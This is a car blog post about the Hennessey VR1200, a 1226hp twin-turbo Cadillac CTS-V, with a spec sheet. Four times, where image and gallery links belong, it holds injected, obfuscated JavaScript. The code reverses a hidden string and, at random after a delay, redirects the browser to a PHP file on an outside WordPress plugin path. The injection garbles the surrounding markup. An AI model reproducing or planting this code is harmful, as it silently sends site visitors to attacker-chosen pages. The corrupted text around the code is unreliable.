1226hp Hennessey VR1200. The ‘Basics’

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/09/HennesseyCTSVR10.jpg” alt=”” width=”728″ height=”484″ />

Again, this is no ‘ordinary’ 556hp CTS-V we’re talking about: that quarter mile stretch of tarmac will be covered in just 10.2s, and if the taps are opened hard enough, the Hennessey VR1200 will hit 227kph.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/09/HennesseyCTSVR22.jpg” alt=”” width=”728″ height=”484″ />

So, we have the performance, we have the power, we have the looks, and we have the potential demonic possession. It feels like there’s one thing missing though to really complete this picture. How about a sunset to disappear into…?

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/09/HennesseyCTSVR04.jpg” alt=”” width=”728″ height=”484″ />

Yep, that should just about do it.

Hennessey VR1200
Engine: 7.0-litre / V8 / twin-turbo
Location: Front / longitudinal
Power: 1226hp @ 6400rpm
Torque: 1109lb ft @ 4000rpm
Transmission: Six-speed manual / rear-wheel drive
Suspension: Factory Magnetic Ride Control Tuned / upgraded swaybars front and rear
Brakes: Brembo 15.1 inch Carbon Ceramic Rotors / Calipers: 8-Piston (F) 6-Piston (R)
Wheels: 20in Hennessey front and rear
Tyres: Michelin Pilot Super Sport / 275/30YR-20 (F) 345/30YR-20 (R)
0-100kph: 2.9
Top speed: 389kph
Basic price: $295,000

– Shots courtesy of Hennessey Performance. Be sure to check out $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/galleries/album/01/hennessey-vr1200/” target=”_blank”>the gallery HERE.

Categories: Road

,,

Comments are closed